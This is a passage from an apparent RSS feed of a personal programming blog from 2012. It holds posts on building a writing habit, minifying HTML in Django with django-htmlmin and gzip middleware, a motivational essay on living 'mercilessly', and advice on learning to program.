&lt;p>While I&amp;rsquo;m in &lt;strong>no way&lt;/strong> a good writer now, I feel a lot more comfortable
writing, explaining my ideas, and sharing information with other people.&lt;/p>
&lt;p>In addition to the obvious benefits, I&amp;rsquo;ve also:&lt;/p>
&lt;ul>
&lt;li>Developed several friendships with people whom I never would have had the
pleasure of meeting if not through my writing.&lt;/li>
&lt;li>Discovered my passion for writing.&lt;/li>
&lt;li>Had several job offers and other opportunities come out of writing that I
never would have had without it.&lt;/li>
&lt;li>Greatly increased my ability to clearly communicate ideas to friends and
co-workers.&lt;/li>
&lt;/ul>
&lt;p>In particular, meeting new people through writing has been a wonderful
experience. I&amp;rsquo;ve met several extremely talented programmers who are, without
question, some of the smartest people I&amp;rsquo;ve ever spoken with. I maintain a
pretty close circle of friends (you should come say hi if you use IRC
(&lt;a href="irc://irc.oftc.net/#heapify" title="#heapify">irc.oftc.net/#heapify&lt;/a>)), and I find it extremely difficult to meet other
highly self-motivated people who share common interests (like personal
development, programming, etc.). Through writing, I&amp;rsquo;ve been able to close that
gap and connect with lots of great people.&lt;/p>
&lt;p>Through journaling and private writing, I&amp;rsquo;ve been able to step back and take a
look at my thoughts&amp;ndash;analysing my actions, behaviors, and habits in a way that
I&amp;rsquo;ve never done before. This has helped me resolve a lot of internal questions
I&amp;rsquo;ve had about myself, and given me a new level of understanding and
self-consciousness. Since I enjoy working on personal development, this has
made a profound impact in my day-to-day life, and I&amp;rsquo;ve found new ways to
incorporate my new self understand into my habit building regimen.&lt;/p>
&lt;h2 id="final-thoughts">Final Thoughts&lt;/h2>
&lt;p>Of all the habits I&amp;rsquo;ve built, writing has been my favorite. The benefits are
vast, the payoff is great, and it&amp;rsquo;s internally rewarding to work on.&lt;/p>
&lt;p>Over the next several months I plan on improving my writing style, ability, and
fluency even further. My end goal is to become skilled enough so that I can
effortlessly dump my thoughts onto paper in a way that clearly describes my
thoughts to my audience, in an organized manner.&lt;/p>
&lt;p>While my writing has matured quite a bit over the past few months, I still have
many years to go before I reach the level of fluency that I&amp;rsquo;d like to attain.&lt;/p>
&lt;p>&lt;strong>ALSO:&lt;/strong> Are you working on a writing habit? If so, I&amp;rsquo;d love to hear how your
journey is going. Please send me an email (&lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">r@rdegges.com&lt;/a>), and let&amp;rsquo;s
keep in touch!&lt;/p></description></item><item><title>The Simplest Way to Compress HTML in Django</title><link>https://rdegges.com/2012/the-simplest-way-to-compress-html-in-django/</link><pubDate>Sun, 04 Mar 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/the-simplest-way-to-compress-html-in-django/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/the-simplest-way-to-compress-html-in-django/electron-sketch.png" alt="Electron Sketch" title="Electron Sketch">
&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Since writing this post, it has been brought to my attention that as
of 2013, there is a new potential attack vector on sites using gzip. Please
read this &lt;a href="https://docs.djangoproject.com/en/1.8/ref/middleware/#module-django.middleware.gzip" title="Django GZip Middleware">Django security comment&lt;/a> for more information after reading this
article.&lt;/p>
&lt;p>I&amp;rsquo;ve been working on a lot of website optimization stuff recently for my Django
projects, and thought I&amp;rsquo;d share a cool utility I found for compressing your
entire site&amp;rsquo;s HTML code.&lt;/p>
&lt;p>If you&amp;rsquo;re running any site that could benefit from reduced page load times (who
wouldn&amp;rsquo;t want that?) you may want to consider giving this a go. Essentially,
what we&amp;rsquo;re going to do is take your normal Django template code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!doctype html&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">html&lt;/span> &lt;span class="na">lang&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;en&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">head&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">meta&lt;/span> &lt;span class="na">charset&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;utf-8&amp;#34;&lt;/span> &lt;span class="p">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">head&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">html&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And compress it so that when the page is rendered for users, it looks like
this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!doctype html&amp;gt;&lt;/span>&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">html&lt;/span> &lt;span class="na">lang&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;en&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;&lt;/span>&lt;span class="nt">head&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;&lt;/span>&lt;span class="nt">meta&lt;/span> &lt;span class="na">charset&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;utf-8&amp;#34;&lt;/span>&lt;span class="p">/&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">head&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">html&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Obviously this is a simple example, but when you have pages with lots of
content on them, compressing your pages can lead to a really big page load
performance boost, since you&amp;rsquo;re sending significantly less data to the end
user.&lt;/p>
&lt;p>The Django app you&amp;rsquo;ll be using to do this is &lt;a href="https://github.com/cobrateam/django-htmlmin" title="django-htmlmin">django-htmlmin&lt;/a>. To get
started, you really only need to do two things:&lt;/p>
&lt;ol>
&lt;li>&lt;code>pip install django-htmlmin&lt;/code>&lt;/li>
&lt;li>Add &lt;code>htmlmin.middleware.HtmlMinifyMiddleware&lt;/code> to your &lt;code>MIDDLEWARE_CLASSES&lt;/code>
setting.&lt;/li>
&lt;/ol>
&lt;p>By default, &lt;code>django-htmlmin&lt;/code> will only compress HTML when your &lt;code>DEBUG&lt;/code> setting
is set to &lt;code>False&lt;/code> (e.g. when your site is running in production)&amp;ndash;this way,
while you&amp;rsquo;re developing and testing your code, you&amp;rsquo;ll still have your HTML
uncompressed so you can look at it in its original form.&lt;/p>
&lt;p>Here&amp;rsquo;s a quick snippet from my &lt;code>settings.py&lt;/code> which shows my
&lt;code>MIDDLEWARE_CLASSES&lt;/code> (for reference):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">MIDDLEWARE_CLASSES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.middleware.gzip.GZipMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;htmlmin.middleware.HtmlMinifyMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.middleware.common.CommonMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sessions.middleware.SessionMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.middleware.csrf.CsrfViewMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.auth.middleware.AuthenticationMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.messages.middleware.MessageMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>NOTE&lt;/strong>: If you&amp;rsquo;re concerned about compressing HTML, you should probably also
enable Django&amp;rsquo;s &lt;code>GZipMiddleware&lt;/code> (as you can see in my snippet above). GZip
compression will greatly reduce the size of your page&amp;rsquo;s data for transfer to
the end user, further decreasing page load time.&lt;/p>
&lt;p>&lt;strong>IMPORTANT&lt;/strong>: You should always have both &lt;code>GZipMiddleware&lt;/code> and
&lt;code>HtmlMinifyMiddleware&lt;/code> defined before all other middleware classes. The
ordering of the &lt;code>MIDDLEWARE_CLASSES&lt;/code> tuple matters in Django, and since both of
these middleware modify HTML after it&amp;rsquo;s already been passed through the other
middleware classes, it is necessary to have them executed last by Django (which
means defining them first in &lt;code>MIDDLEWARE_CLASSES&lt;/code>).&lt;/p></description></item><item><title>Merciless</title><link>https://rdegges.com/2012/merciless/</link><pubDate>Sun, 26 Feb 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/merciless/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/merciless/berserk-sketch.png" alt="Berserk Sketch" title="Berserk Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve been working on myself a lot the past few years. I&amp;rsquo;ve been trying to
become stronger, faster, smarter, more honest, and better (overall). The
process of becoming these things is hard work; it takes years of dedication,
patience, and discipline&amp;ndash;at least, that&amp;rsquo;s what they tell you.&lt;/p>
&lt;p>I&amp;rsquo;ve lived my entire life (up till now) being told that moderation is
important, and even critical to success. Despite this, I can&amp;rsquo;t help but shake
the feeling that somewhere, deep inside, there&amp;rsquo;s a loud, booming voice telling
me to do things all the way, with complete and absolute dedication. The voice
tells me that regardless of whether I&amp;rsquo;m working out, writing software, writing
articles (as I am now), or even working on my marriage and friendships&amp;ndash;that I
should push myself to my limits (and beyond) to make what I&amp;rsquo;m currently working
on successful.&lt;/p>
&lt;p>This voice tells me that there is no middle ground&amp;ndash;there is only
&lt;a href="https://rdegges.com/2011/absolute-victory/" title="Absolute Victory">absolute victory&lt;/a>, or absolute failure. It tells me that no matter what the
consequence, whether it be fatigue, injury, or even death&amp;ndash;that I &lt;strong>must&lt;/strong> do
it. Live with pain, or live with regret.&lt;/p>
&lt;p>For the longest time I&amp;rsquo;ve talked with my wife about my struggle with personal
development. Everyday I question with the approach I take. While consistency
is important, I always feel inadequate with my progress, and feel that I should
be pushing harder, running faster, and sprinting to the finish line.&lt;/p>
&lt;p>Through the years, I&amp;rsquo;ve read so many books on personal development, minimalism,
and life hacks that I can&amp;rsquo;t help but see all their themes blended together.
More than anything, the theme to these books is one of moderation: build up
habits slowly, one at a time, and if you stick with it over the years, you&amp;rsquo;ll
eventually become more and more like the person you&amp;rsquo;re trying to become.&lt;/p>
&lt;p>While I understand the idea that moderation is important, and quite possibly
the best method for most people to make life changes&amp;ndash;I&amp;rsquo;m tired of fighting my
nature. I&amp;rsquo;m tired of making myself live by rules that I can&amp;rsquo;t personally
follow with complete dedication. I&amp;rsquo;m tired of forcing myself to slow down and
live a way that I don&amp;rsquo;t fulfilling.&lt;/p>
&lt;p>For the remainder of this year, I&amp;rsquo;m going to try something completely
different. I&amp;rsquo;m going to let go of all my fears, worries, and previous
knowledge&amp;ndash;and I&amp;rsquo;m going to live the way that voice tells me to. I&amp;rsquo;m going to
&lt;em>live mercilessly&lt;/em>.&lt;/p>
&lt;p>Instead of worrying about myself, I&amp;rsquo;m going to push myself as hard as I can.
I&amp;rsquo;m going to exercise harder, eat healthier, work with more focus, and build
the projects I feel like building on my spare time.&lt;/p>
&lt;p>Instead of taking my time to do things, so I don&amp;rsquo;t overexert myself, I&amp;rsquo;m going
to do things as fast as I feel they should be done. This means no more
procrastination. No more self pity. &lt;/p>
&lt;p>Instead of constantly trying to live comfortably and without stress, I&amp;rsquo;m going
to make sure I don&amp;rsquo;t feel comfortable. I&amp;rsquo;m going to work on the most bold and
adventurous projects possible, and ensure that I&amp;rsquo;m constantly pushing myself
beyond my means. I want to make sure that regardless of my current
disposition, I&amp;rsquo;m constantly growing, learning, and living to the fullest.&lt;/p>
&lt;ul>
&lt;li>Execute fear.&lt;/li>
&lt;li>Abolish doubt.&lt;/li>
&lt;li>Eradicate anxiety.&lt;/li>
&lt;li>Slay pity.&lt;/li>
&lt;li>Ravage concern.&lt;/li>
&lt;li>Obliterate moderation.&lt;/li>
&lt;/ul>
&lt;p>Deep down, I feel that I can no longer live the way I&amp;rsquo;ve been living. The
voice won&amp;rsquo;t let me. To feel like I&amp;rsquo;m &lt;em>living on purpose&lt;/em>, I need to
dramatically change my lifestyle, and more importantly, my thinking.&lt;/p>
&lt;p>So here goes nothing.&lt;/p>
&lt;p>Into the darkness we go.&lt;/p></description></item><item><title>How I Learned to Program</title><link>https://rdegges.com/2012/how-i-learned-to-program/</link><pubDate>Fri, 03 Feb 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/how-i-learned-to-program/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/how-i-learned-to-program/glider.png" alt="Glider" title="Glider">
&lt;/p>
&lt;p>Programming is, without a doubt, the most mentally rewarding thing I&amp;rsquo;ve ever
done. Programming taught me that life should be fun, filled with creativity,
and lived to the fullest. Programming taught me that anything is possible; I
can do anything I want using only my mind.&lt;/p>
&lt;p>Programming also taught me that learning is fun. It showed me that the more
you know, the more power you have. Programming showed me that a life filled
with learning is a life worth living. Programming revealed to me who I am
inside, and has continuously helped me work towards my goals.&lt;/p>
&lt;p>I feel extremely lucky to have had the means and opportunity to learn
programming early in my life. While my methods are certainly not optimal for
everyone, they worked well for me.&lt;/p>
&lt;p>I have no regrets.&lt;/p>
&lt;p>So I figured I&amp;rsquo;d share my methods with you, in hopes that a beginner will read
this and get some value out of it.&lt;/p>
&lt;p>If you don&amp;rsquo;t want to read all this, the important takeaway here is to, above
all else, &lt;strong>have fun&lt;/strong>.&lt;/p>
&lt;h2 id="install-linux-on-your-box">Install Linux on Your Box&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-learned-to-program/linux-penguin.png" alt="Linux Penguin" title="Linux Penguin">
&lt;/p>
&lt;p>While in my own life, I actually learned quite a bit about computers through
video games on MSDOS computers&amp;ndash;my real learning started the first day I
installed a Linux operating system on my home computer.&lt;/p>
&lt;p>It doesn&amp;rsquo;t matter whether or not you use Windows on your laptop, or if you have
a Macbook Air&amp;ndash;if you want to learn to program well, you need to use Linux.
Sure, there are a ton of great programmers out there using other systems, but
you cannot beat Linux as a learning machine.&lt;/p>
&lt;p>Despite what you may think, programmers don&amp;rsquo;t just &amp;ldquo;program&amp;rdquo;. Programming as
you probably think of it is nothing more than input and output. You type
things, and stuff happens. This is incorrect.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-learned-to-program/programming.gif" alt="Programming" title="Programming">
&lt;/p>
&lt;p>Programming is a way of life.&lt;/p>
&lt;p>Programmers are people obsessed with knowledge. Programmers use this obsession
to fuel a life of learning, discovery, and creation. That is the true
definition of a programmer.&lt;/p>
&lt;p>A big reason to use Linux for your day to day work is that it helps you
passively learn about programming as you use it. On Windows, if you want to
copy a file from one box to another, you drag and drop. On Linux, if you want
to copy a file from one box to another, you use &lt;code>scp&lt;/code> or &lt;code>rsync&lt;/code>. Learning how
to use the command line teaches you basic technical logic and problem solving
skills.&lt;/p>
&lt;p>Another important skill you passively acquire by using Linux is self
sufficiency. Unlike many other lines of work, programming does not require you
to memorize a million things, or repeatedly do the same thing over and over
again; instead, programming requires intense self motivation and determination.&lt;/p>
&lt;p>Even the best programmers typically have no idea what they&amp;rsquo;re doing when they
start a new project. If I could summarize one thing I do more than anything
else as a programmer, it would be &lt;strong>research&lt;/strong>. Programmers must know how to
lookup information, and how to process and use that information in a useful
manner. This skill is typically acquired over long periods of time&amp;ndash;but Linux
can help.&lt;/p>
&lt;p>Using Linux will require you to actively seek out solutions to problems. If
you don&amp;rsquo;t know how to setup an SSH tunnel&amp;ndash;you &lt;strong>will&lt;/strong> learn. Using Linux
will drive you to discover new things you never would have thought of while
using Mac or Windows. As you slowly become a better and better Linux user, you
will coincidentally become a better and better programmer and pragmatist.
You&amp;rsquo;ll learn how to go about solving problems. How to hunt down errors. How
to use your combined knowledge to create new things and make your life (and
others&amp;rsquo; lives) easier.&lt;/p>
&lt;p>Furthermore, since Linux (as well as a majority of its applications) is open
source, you&amp;rsquo;re in a great position to learn more about programming culture. At
one point or another, I can almost guarantee you will:&lt;/p>
&lt;ul>
&lt;li>Find a bug in an application you use.&lt;/li>
&lt;li>You&amp;rsquo;ll search for an answer online.&lt;/li>
&lt;li>You&amp;rsquo;ll find either a ticket system or a forum for the software you&amp;rsquo;re
using.&lt;/li>
&lt;li>You&amp;rsquo;ll submit a ticket about the bug, or post on the forum stating your
problem.&lt;/li>
&lt;li>Interact with other users like yourself to help resolve the issue.&lt;/li>
&lt;/ul>
&lt;p>While this may not sound cool now, just wait. Once you&amp;rsquo;ve done the above,
you&amp;rsquo;ll really be acquainted with the tech community. Finding problems,
discussing them with others, and solving problems is what makes the technical
community thrive.&lt;/p>
&lt;p>If everything was perfect and there were no problems to solve in the world&amp;ndash;
life would be boring. Getting out there and fixing stuff&amp;ndash;fighting chaos&amp;ndash;that
makes life worth living. So enjoy it!&lt;/p>
&lt;p>Linux can help teach you these things, and more.&lt;/p>
&lt;h2 id="have-an-intense-desire">Have an Intense Desire&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-learned-to-program/horse-painting.png" alt="Horse Painting" title="Horse Painting">
&lt;/p>
&lt;p>Why do you want to program? What is motivating you? What drives you?  Unless
you desperately want to learn programming, you will fail.&lt;/p>
&lt;p>When I started coding, it was because I had an intense desire to hack video
games. Back when I was a kid, video games were my life. I would rush home
from school and spend as long as I could on the computer playing old classics.
Some of my fondest memories are playing epic Starcraft matches against my
brother (we&amp;rsquo;d have no rush 2 hour games where we&amp;rsquo;d max out our units and have
battles that would cause our GPUs to quake in terror).&lt;/p>
&lt;p>More than anything, I wanted to hack the shit out of those games. I wanted to
&lt;strong>dominate&lt;/strong> them. I wanted to &lt;strong>enslave&lt;/strong> my computer and have it do my
bidding.&lt;/p>
&lt;p>While my old motivations are silly to me now, back then I felt them intensely.
I&amp;rsquo;d dream about it at night, constantly think about it during the day, and
obsess about it while I was on the computer in the afternoon.&lt;/p>
&lt;p>When I set my mind towards learning to program, I knew I would make it happen.
I knew that no matter what happened in my life, I&amp;rsquo;d either learn to program or
I&amp;rsquo;d die trying. It was what I can only describe as a glorious feeling. It was
similar to that feeling you have where you want something so bad, so intensely,
that you feel it with every muscle in your body.&lt;/p>
&lt;p>Regardless of the fact that I had absolutely no idea what I was doing&amp;ndash;that I
knew absolutely no technical people whatsoever&amp;ndash;that I had no resources&amp;ndash;and
that I had zero guidance&amp;ndash;I found a way. I ruthlessly read through internet
tutorials on random web pages. I spend hundreds of hours scouring random
forums looking for bits of information.&lt;/p>
&lt;p>The most important thing, however, is that because I wanted it so bad, it felt
easy. I&amp;rsquo;ve always been an all-or-nothing type of person, and I think that this
helped me break through the initial barriers and eventually become a half
decent programmer.&lt;/p>
&lt;h2 id="build-small-command-line-programs">Build Small Command Line Programs&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-learned-to-program/snoopy-programming.png" alt="Snoopy Programming" title="Snoopy Programming">
&lt;/p>
&lt;p>A lot of people now-a-days seem to be learning programming by diving head first
into web development. While this may work for some people, it seems pretty
damn crazy to me. Not only are web technologies complex and vast (building a
modern website requires a ton of separate skills that take years to mature),
but they&amp;rsquo;re frustrating and discouraging for new developers.&lt;/p>
&lt;p>Maybe I&amp;rsquo;m old school (I&amp;rsquo;m only 23 :x), but there is nothing more satisfying
(and educational!) than writing a ton of simple, command line programs.&lt;/p>
&lt;p>I can&amp;rsquo;t even begin to express how useful this was in my programming education.
For the longest time (after I gained a basic understanding of programming) I&amp;rsquo;d
rush home from school, sit down at my computer, and spend 5 or 6 hours writing
a simple command line utility. I&amp;rsquo;d write tons of things:&lt;/p>
&lt;ul>
&lt;li>A simple program that takes in filenames as input, and stores those files
all in an organized directory hierarchy depending on the file type.&lt;/li>
&lt;li>An IRC bot that logs all channel activity to a text file.&lt;/li>
&lt;li>A simple program that downloads all the images on a given web page.&lt;/li>
&lt;li>A tool to convert base 10 numbers to any other base on the CLI.&lt;/li>
&lt;li>A provisioning script that installs all my OS customizations: wallpapers,
themes, etc.&lt;/li>
&lt;li>A basic screen shot program that automatically uploads screen shot to an
image hosting website, and copies the resulting URL into the clipboard for
instant copy-paste fun.&lt;/li>
&lt;li>And a million other things.&lt;/li>
&lt;/ul>
&lt;p>I got so much value out of these small exercises. Each one was simple enough
to be written in several hours (no more), and each one taught me stuff: either
a new language, library, or strategy. There&amp;rsquo;s no doubt in my mind that I
gained a good portion of my programming knowledge through building these apps.&lt;/p>
&lt;p>The other benefit to building these small apps is confidence. Each app I built
was a huge personal accomplishment. I felt proud of each one. I&amp;rsquo;d maintain
all of them, and periodically rewrite the code using all the new strategies I&amp;rsquo;d
learn. This taught me basic iterative programming (making improvements over
time), and how to really contribute to the open source world.&lt;/p>
&lt;p>If you&amp;rsquo;re a new programmer, I doubt there&amp;rsquo;s anything better (or more fun) than
writing a ton of small command line utilities. Don&amp;rsquo;t believe me? Try it, and
tell me you aren&amp;rsquo;t addicted after the first one!&lt;/p>
&lt;h2 id="write-write-write">Write, Write, Write&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-learned-to-program/writer-sketch.png" alt="Writer Sketch" title="Writer Sketch">
&lt;/p>
&lt;p>Writing is a bit controversial. When I started programming, nerds had a
reputation for being bad at everything except computers. For a while, I
assumed that since I was good at computers, I was naturally worse at everything
else: writing included.&lt;/p>
&lt;p>That&amp;rsquo;s bullshit.&lt;/p>
&lt;p>I&amp;rsquo;ve come to realize over the years that programmers are, in particular,
excellent writers. The ability to think logically and solve problems is a
great writing asset. It&amp;rsquo;s particularly hard to explain your thoughts in
writing. In my opinion, having strong programming skills makes this much
easier, since as a programmer, you&amp;rsquo;re used to arguing with logic and use it
everyday in your work.&lt;/p>
&lt;p>Through the process of writing a lot, you&amp;rsquo;ll greatly improve your reasoning
ability, and consequently, become a better programmer.&lt;/p>
&lt;p>As a programmer, having a blog is a great way to practice writing. It&amp;rsquo;s a
great way to keep track of the things you learn, and help ensure you are always
making progress. Through the process of writing about things, technical things
in particular, you&amp;rsquo;ll greatly increase your knowledge on the subject.&lt;/p>
&lt;p>For instance, if you&amp;rsquo;re writing a CLI app that orders pizza through Dominos, it
would be hard to write about that without going into detail describing the
technology you&amp;rsquo;re using, how the Domino&amp;rsquo;s API works, etc. By taking the time
to write about your experiences working with their API, you&amp;rsquo;ll consequently
learn a lot more than you would if you didn&amp;rsquo;t.&lt;/p>
&lt;p>Writing can be amazingly helpful when used to describe technical stuff, as it
really simplifies and clarifies the root of the problem&amp;ndash;forcing you to think
of the problem in the simplest way possible. I can&amp;rsquo;t tell you how many times
I&amp;rsquo;ve worked on a really tough problem, then taken the time to write about it
and realized that I vastly overcomplicated the issue.&lt;/p>
&lt;p>One of my biggest regrets is that over the years I threw away a vast majority
of my articles. Over time I rewrote my website frequently, mismanaged servers,
and slowly lost most of my writing. This blog you&amp;rsquo;re reading now exists
primarily as the result of my decision to save all my future writings and
provide a home for them that I won&amp;rsquo;t mistakenly lose. Don&amp;rsquo;t make the same
mistake I did!&lt;/p>
&lt;h2 id="join-an-online-community">Join an Online Community&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-learned-to-program/xkcd-impostor.png" alt="XKCD Impostor" title="XKCD Impostor">
&lt;/p>
&lt;p>The internet is a big place. Programming is a big field. While it is
certainly possible to become an excellent programmer by yourself, completely
isolated&amp;ndash;it is much easier to do it with the help of friends.&lt;/p>
&lt;p>When I started programming I was lucky enough to meet some amazing like-minded
programmers online using &lt;a href="http://en.wikipedia.org/wiki/Internet_Relay_Chat" title="IRC">IRC&lt;/a>. The people I met were some of the smartest,
passionate, and most motivated individuals I&amp;rsquo;ve ever met in my life. We&amp;rsquo;re
still friends today!&lt;/p>
&lt;p>Having other insanely passionate and driven friends kept me motivated, and
helped push me to be the best I could. We wrote articles for one another to
share things we learned&amp;ndash;we critiqued each other&amp;rsquo;s code. We talked about
projects we were working on, and what the best way to implement them was.&lt;/p>
&lt;p>Having a group of people with the same passion and drive as yourself cannot be
understated.&lt;/p>
&lt;p>Finding a group like this, on the other hand, is extremely difficult. I highly
recommend using IRC (as a lot of bright people seem to use it), and gradually
joining new channels and chatting with people who share similar interests. If,
in the off chance you&amp;rsquo;re like me, and want to hang out in the same circle,
you&amp;rsquo;re invited to check out &lt;a href="irc://irc.oftc.net/#heapify" title="#heapify">#heapify&lt;/a>.&lt;/p>
&lt;h2 id="have-fun">Have Fun&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/how-i-learned-to-program/program-all-the-things.png" alt="Program All the Things" title="Program All the Things">
&lt;/p>
&lt;p>Programming is fun. Programming is really, insanely fun.  Just writing about
it makes me feel happy inside. It&amp;rsquo;s hard to contain my excitement.&lt;/p>
&lt;p>The most important part of learning to program is to always &lt;strong>HAVE FUN&lt;/strong>!
Regardless of whether you&amp;rsquo;re just getting into programming, or whether you&amp;rsquo;ve
been a programmer for a long time: having fun is the most important thing you
can do.&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;re just starting to learn &lt;a href="http://python.org/" title="python">python&lt;/a> (&lt;a href="http://www.amazon.com/gp/product/1441413022/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1441413022&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Dive Into Python">Dive Into Python&lt;/a> is
still one of the best python books ever written, by the way)&amp;ndash;don&amp;rsquo;t start by
writing some boring project. Write something new! Something that you will
find useful. Have fun with it, and challenge yourself.&lt;/p>
&lt;p>If your sole motivation for working on a project is to get it done, you&amp;rsquo;re
cheating yourself. Part of being a good programmer is building stuff that
&lt;strong>YOU&lt;/strong> find cool. There is plenty of dreary software in the world, what the
world needs is more &lt;strong>AWESOME&lt;/strong> software. And the only way to make awesome
software is to have fun building it!&lt;/p>
&lt;p>I could literally go on ranting about how much fun programming is indefinitely.
But instead, I want to challenge &lt;strong>YOU&lt;/strong> (ya, you!). Think of something you&amp;rsquo;d
really love to build: maybe it&amp;rsquo;s a file sharing site, maybe a video editor&amp;ndash;
whatever excites you and gives you that warm fuzzy feeling inside. Got it?&lt;/p>
&lt;p>&lt;strong>OK&lt;/strong>, now go build it!&lt;/p>
&lt;p>Regardless of where you are in your programming career: always have fun, and
keep pushing yourself!&lt;/p></description></item><item><title>My Ideal Life</title><link>https://rdegges.com/2012/my-ideal-life/</link><pubDate>Wed, 18 Jan 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/my-ideal-life/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/my-ideal-life/tyrael-sketch.png" alt="Tyrael Sketch" title="Tyrael Sketch">
&lt;/p>
&lt;p>As a strong believer in personal development, I realize that I will never be
perfect. Despite this, a big part of the fun in life is working towards making
yourself a better person. If you don&amp;rsquo;t do that, what else is there?&lt;/p>
&lt;p>In order to make yourself a better person, knowing which traits you&amp;rsquo;d like to
eventually have is essential. Maybe you&amp;rsquo;re a smoker, but you&amp;rsquo;d like to
eventually quit. Maybe you&amp;rsquo;re skinny, and want to add 10lbs of muscle to your
frame. Regardless of your personal development strategy, knowing what to work
towards is mandatory.&lt;/p>
&lt;p>Over the past year, I&amp;rsquo;ve come to realize the importance of having
&lt;a href="https://rdegges.com/2012/what-im-doing-in-2012/" title="What I'm Doing in 2012">positive habits&lt;/a>, and how building a series of habits into your daily
schedule is one of the best ways to make long term, sustainable change.&lt;/p>
&lt;p>As my life goals are still undefined, my current focus is on building a
repertoire of habits and skills so that over time, I&amp;rsquo;ll gradually become the
person I&amp;rsquo;d like to be, with as little friction as possible.&lt;/p>
&lt;p>For the past few days I&amp;rsquo;ve been trying to enumerate the skills I want to have,
and the life I want to live. After a lot of thought and personal debate, I&amp;rsquo;ve
narrowed my ideal life down to the following 24 hour snapshot. My thought is
that if I&amp;rsquo;m able to spend each day doing the things below, I&amp;rsquo;ll be both happy
and wildly productive throughout my life.&lt;/p>
